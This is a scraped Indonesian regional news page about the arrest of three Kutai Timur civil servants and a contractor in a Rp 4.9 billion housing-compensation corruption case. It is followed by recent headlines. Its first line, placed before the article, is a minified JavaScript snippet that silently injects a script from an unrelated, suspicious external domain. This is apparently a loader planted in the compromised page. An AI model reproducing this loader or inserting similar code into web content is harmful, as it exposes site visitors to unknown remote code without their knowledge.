(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Timur

Tilep Uang Perumahan KPN, Tiga ASN Pemkab Kutai Timur Ditangkap


KANALKALIMANTAN.COM, SAMARINDA – Kejaksaan Tinggi (Kejati) Kaltim menangkap dan melakukan penahanan terhadap empat orang dalam kasus korupsi pembayaran ganti rugi perumahan Koperasi Pegawai Negeri (KPN) senilai Rp 4,9 miliar, Selasa (16/1/2024) sore. Dari empat tersangka yang ditangkap, tiga diantaranya adalah Aparatur Sipil Negara (ASN) dari Pemkab Kutai Timur, dan seorang lainnya adalah pihak swasta.

Empat tersangka itu, yakni S sebagai mantan Kepala BPKAD Kabupaten Kutai Timur selaku pengguna anggaran 2017 hingga 2020.

Kemudian, MH sebagai mantan Sekretaris BPKAD Kabupaten Kutai Timur selaku kuasa pengguna anggaran selama masa jabatan 2017 hingga 2021.

Selanjutnya, oknum ASN yang juga turut ditangkap dan ditetapkan sebagai tersangka yakni D, selaku PPTK SKPD BPKAD Kabupaten Kutai Timur sejak 2018 hingga sekarang.

Baca juga: Besok Capres Prabowo Kampanye Terbatas di Kalsel, Ini Lokasinya

Sedangkan, satu tersangka lainnya yang berasal dari pihak swasta berinisial S yang merupakan direktur dari CV Berkat Kaltim.

Wakil Kepala Kejaksaan Tinggi Kaltim, Adi Wibowo mengatakan terhitung sejak Selasa (16/1/2024), empat tersangka yang diduga terlibat dalam kasus korupsi pembayaran ganti rugi perumahan KPN resmi ditahan. Hal ini dilakukan lantaran tim penyidik tindak pidana korupsi Kejati Kaltim telah mengantongi dua alat bukti yang cukup.

“Dengan alat bukti yang sudah ada dan sudah dikantongi oleh tim penyidik maka sudah ditemukan dua alat bukti yang cukup maka dilakukan penahanan terhadap empat orang,” ungkap Adi kepada Beritasatu.com –mitra jejaring Kanalkalimantan.com- saat ditemui di kantor Kejati Kaltim di Samarinda, Selasa (16/1/2024) sore.

Menurutnya, penahanan itu dilakukan untuk kepentingan penyidikan, sehingga kini empat tersangka itu resmi ditahan di Rutan klas IIA Samarinda selama 20 hari ke depan.

Baca juga: Fenomena Sirkulasi Siklonik Bikin Hujan Terus Menguyur Kalsel, Begini Penjelasan BMKG

“Selanjutnya untuk kepentingan penyidikan, kempat tersangka tersebut dilakukan penahanan di Rutan Samarinda selama 20 hari ke depan,” imbuhnya.

Akibat perbuatannya, 4 tersangka itu dijerat dengan Undang-Undang pemberantasan tindak pidana korupsi dengan ancaman hukuman pidana penjara selama 5 tahun. (Kanalkalimantan/Beritasatu.com/kk)

Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.